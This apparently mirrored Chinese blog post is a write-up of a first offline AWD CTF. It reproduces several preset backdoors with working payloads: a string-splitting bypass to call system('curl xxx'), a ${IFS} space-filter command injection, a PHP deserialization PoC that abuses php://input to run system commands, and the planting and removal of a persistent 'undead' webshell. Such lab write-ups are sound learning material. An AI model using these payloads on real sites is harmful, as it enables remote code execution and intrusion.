7

记第一次线下AWD感受及复现

 2 years ago
source link: https://bealright.github.io/2020/01/03/%E8%AE%B0%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8BAWD%E6%84%9F%E5%8F%97%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。

第一次参赛线下AWD感受

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程:

一、进行备份

看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,可以让对手在一开始就丢分,但是经过这次比赛,发现其实现在的比赛已经不会再出现这种人为的漏洞了,主办方也会避免这种漏洞出现,否则整场比赛也没什么意意义了,因此我觉得批量修改SSH密码的脚本在线下赛是没有用处的,不过最好也备份一份,万一主办方懒那(那就有点爽了)。。。

那一开始比赛的时候要做什么,比赛一般都是三个人一队,要想在短时间内获得flag且防护好自己的靶机,就需要队伍内部提前明确好分工,这样效率会很高。

除此之外还需要finalshell这个工具,这个工具是用来连接你的靶机的,非常方便,只需输入靶机IP、SSH账号密码即可控制自己的靶机、为备份、挂waf等做准备

比赛开始,第一步进行备份,最好使用可视化工具FileZilla FTP Client进行备份,也可以用linux本身的压缩打包命令,备份的目的在于万一对方利用漏洞进入你的靶机将你的WWW下的目录给删除了,如果你没有备份就相当于宕机了,那就等着扣分吧,因此备份是非常重要的,使用主办方给的SSH账号密码、主机IP进行连接备份

二、查找预留后门或漏洞

备份的另一个好处就是可以审计源码,因为大家的WWW目录下的服务都是一样的,因此如果我们能率先在源码中找出漏洞的话便可以收一波分,这里就用到D盾,可以用这个工具查出是否有预留后门或其他利用点

这样也有一个进行攻击的方向,除此之外还有一个便是Seay源代码审计工具
这个也可以提供一个你攻击的方向

三、备好或写脚本

脚本、脚本、脚本!!!非常重要,参加一次比赛发现真的脚本能力实在是太重要了,发现漏洞很重要,但是如果不会写出相应的批量脚本,你可以想象一下那么多只队伍,三个人手动提交,flag到后面每五分钟刷新一次,效率又低又累的要死,因此无论如何都要提高脚本能力(虽然我的脚本很烂,但一定会慢慢提高的),AWD比赛到后面就是比的脚本能力,前提是你要先找出漏洞。如果你和我一样目前脚本能力都很弱,也不用慌张,大师傅们的Github上有很多人家写好的,只需我们看懂,会改就可以用,这里我就不列举资源了,谷歌百度一搜索一堆。总之一句话,学好python,学会自己写脚本,真的很重要!!!

还有就是备份一下常见的POC,因为大多数AWD比赛都是各种CMS,这些CMS或多或少都存在漏洞,有时POC可以帮大忙,GitHub上都有,这里就不列出了

四、心态

参加一次比赛,基本流程就是上面的了,但我觉得有一点很重要,不要抱着我们必须拿多少名次的心态,就放平心态,不要慌张,如果被人打了,要去审查日志,看大师傅是怎么打你的,如果看出人家利用的攻击方式,那你就可以利用这个点拿分,如果心态崩了,整场游戏将毫无乐趣,切记调整好心态,前几次参赛就不要太在乎名次,有更好,没有继续努力,不过需要总结之前是失败到哪里了,不能在一个坑中连续跌倒多次,这样才能进步。

二、复现

这次的比赛算是比较照顾新手了,没有出现CMS官方的一些漏洞,因此POC也就没用到,而是主办方给选手留了很多预留后门,比赛时只成功利用了一个(我们比较菜)但还是刷了不少分,比赛结束了就将所有的预留漏洞都来复现一下,不能因比赛结束后就什么也不做。

首先先连接上自己的靶机

利用工具连接到靶机,并找到WWW目录进行备份相应的服务

备份成功后进行D盾扫描

发现有三个可疑点,先来看第一个

第一个预留后门:预留后门

一句话木马,直接上蚁剑

连接成功便可以使用curl命令获取你想要的flag了,但是这么简单的后门大家都知道,所以这就需要拼手速了,脚本的重要性便体现出来了

这是大师傅之前写的,我们只是在修改了具体的一些参赛,但也因此获得了很多flag,所以脚本是真的很重要!!!,其实自己观察脚本的话,发现也不是很难,重要的便是在于思路,还是要多加练习。

第二个预留后门:冰蝎一句话

我们是真的菜,当时比赛的时候竟然就没发现这个冰蝎一句话,复现的时候发现这个冰蝎马还是下载冰蝎时自带的马。。。

唉,当时如果看出来就第一了,继续加油吧,还是懂的太少!

第三个预留后门:常见绕过

这串代码过滤很多高危函数字符如常用的system

如果绕开遍历便可以输入恶意语句,那就需要考虑如果进行绕过了,可以利用拼接的方式进行绕过:

payload:

?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');

确实是可以利用的,越复现感觉自己越菜。。。

第四个预留后门:命令执行+变量覆盖

这个最可惜,当时我们被打的时候,发现有人是通过一个ping_test.php文件来请求的,我们就查看了一下这个文件,果然是命令执行,但是过滤了一些东西

通过观察发现引入一个define.php文件,查看文件发现


很明显的看出了过滤了空格,不行了不能复现了,我想打自己

绕过空格的方法有%09${IFS}

payload:

des=| curl${IFS}xxx

第五个预留后门:信息收集+反序列化+文件包含

在审计源码的时候,发现在admin.php中发现有一句提示

既然如此就去查看MySQL的history,看一下改变了什么

cat /root/.mysql_history

这个目录保存着对MYSQL的操作记录,这里由于我是在自己本地搭建所以没有信息,不过在比赛的时候应该是会提示到\html\public\ueditor\php\controller.php,再观察phpinfo,发现allow_url_include为On,所以可以使用php://input协议可直接getshell

查看文件发现

很明显了直接进行反序列化

官方给的POC

class Control{
public $file = '<?=phpinfo();?>';
private $flag;
public function __destruct(){
if(isset($this->file) && !preg_match('/<\?/is', $this->file)){
require($this->file);
}
}
}
$a = new Control();
$a->file = 'php://input';
echo serialize($a);

在线运行一下

请求:

?action=shell&data=O:7:"Control":2: {s:4:"file";s:11:"php://input";s:13:"%00Control%00flag";N;}

POST传入

<?php system('curl xxx'); ?>

但这里我没有复现成功

小插曲:上传不死马

在一开始蚁剑连接上了就想着放入一个不死马

发现一直是失败,明明比赛给的权限是root,所以就没有管,待后面公布WP才知道是在upload文件夹下有权限上传。。。。

哎呀 不行写完这篇总结打一句联盟发泄一下,我怎么这么菜啊

下面就说一下如何用不死马,以防自己忘记

这便是常见的不死马,密码自己设置并且进行md5加密,我这里设置的是lemon

如果上传不死马成功后,就先来触发

触发成功,进行查看

木马出现,进行连接

利用成功!!!

如果自己靶机被别人种了不死马,如果有权限可以使用service apache2 restart,直接删除即可

如果没有权限重启就kill掉www-data用户的所有子进程

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

确实删除成功

三、创建一个和不死马生成的马一样名字的目录

太菜了,没复现成功,具体看其他大师傅的吧!!

四、编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(1000);
}
?>

总结:

我比较喜欢第二种杀进程的,因为比较简单,估计之后会遇到其他的,之后再说吧,不过我是真的菜的一批,一定要好好练脚本能力,这些对大师傅没有什么技术含量,不要喷我。。。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK